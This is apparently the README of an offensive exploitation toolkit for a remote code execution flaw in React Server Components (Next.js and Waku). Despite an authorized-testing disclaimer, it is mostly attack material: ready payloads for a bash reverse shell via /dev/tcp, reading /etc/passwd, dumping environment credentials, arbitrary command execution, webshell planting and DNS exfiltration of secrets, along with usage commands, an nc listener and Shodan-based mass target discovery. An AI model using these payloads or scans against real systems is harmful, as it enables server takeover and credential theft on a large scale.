
Продвинутый набор инструментов эксплуатации RCE для уязвимостей React Server Components. Включает множество предварительно созданных полезных нагрузок, интеграцию с Shodan для поиска целей и массовое сканирование для авторизованного тестирования на проникновение.
Продвинутый инструментарий для эксплуатации уязвимостей удалённого выполнения кода в React Server Components
Только для авторизованного тестирования на проникновение и исследований безопасности
Возможности • Установка • Использование • Интеграция с Shodan • Примеры • Отказ от ответственности
Этот инструментарий эксплуатирует критическую уязвимость удалённого выполнения кода (RCE) в реализациях React Server Components (RSC), нацеленных на:
Уязвимость использует загрязнение прототипа (prototype pollution) и небезопасную десериализацию в механизме обработки данных RSC для достижения произвольного выполнения кода на сервере.
React Server Components используют собственный формат сериализации для передачи данных между клиентом и сервером. Уязвимость существует в том, как эти фреймворки десериализуют и обрабатывают специально подготовленные полезные нагрузки.
Цепочка атаки:
$X:constructor:constructor для получения доступа к конструктору Function_prefixАтакующий → Вредоносная полезная нагрузка RSC → Целевой сервер
↓
Небезопасная десериализация
↓
Доступ к цепочке прототипов
↓
Конструктор Function
↓
⚠️ RCE ДОСТИГНУТО ⚠️
| Полезная нагрузка | Описание | Сценарий использования |
|---|---|---|
console | Базовый PoC (console.log) | Проверка уязвимости |
reverseShell | Reverse shell на Bash | Первичный доступ |
readFile | Чтение /etc/passwd | Доступ к файловой системе |
envDump | Вывод переменных окружения | Извлечение учётных данных |
execCommand | Выполнение системных команд | Произвольное выполнение команд |
webshell | Развёртывание веб-шелла на Express | Постоянный доступ |
exfilPackage | Извлечение package.json | Анализ зависимостей |
dnsExfil | DNS-эксфильтрация (OOB) | Слепая эксплуатация |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# или
yarn install
# Установка Shodan CLI
pip install shodan
# Инициализация с вашим API-ключом
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Запуск прослушивателя
nc -lvnp 4444
# Запуск эксплойта
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [опции]
| Опция | Описание | Обязательно |
|---|---|---|
--target <url> | URL цели | ✅ |
--framework <name> | Фреймворк: next или waku | ❌ (по умолчанию next) |
--payload <name> | Имя полезной нагрузки (см. ниже) | ✅* |
--custom <code> | Пользовательский JavaScript код | ✅* |
--lhost <ip> | Ваш IP (для reverse shell) | ❌ |
--lport <port> | Ваш порт (для reverse shell) | ❌ |
--command <cmd> | Выполняемая команда | ❌ |
--endpoint <path> | Пользовательский RSC endpoint (Waku) | ❌ |
--action-id <id> | Пользовательский next-action ID | ❌ |
--list | Список доступных полезных нагрузок | ❌ |
--verbose | Подробный вывод | ❌ |
--help | Показать справку | ❌ |
*Требуется либо --payload, либо --custom
Просмотр всех полезных нагрузок:
node rsc-rce-exploit.js --list
Вывод:
📋 Доступные полезные нагрузки:
console - Базовый PoC - вывод в консоль
Код: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Код: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Чтение /etc/passwd
Код: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Вывод переменных окружения
Код: console.log(JSON.stringify(process.env,null,2))
execCommand - Выполнение системной команды
Код: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Запись веб-шелла в /tmp
Код: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Чтение package.json
Код: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS-эксфильтрация
Код: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
Выполнение любого JavaScript кода:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"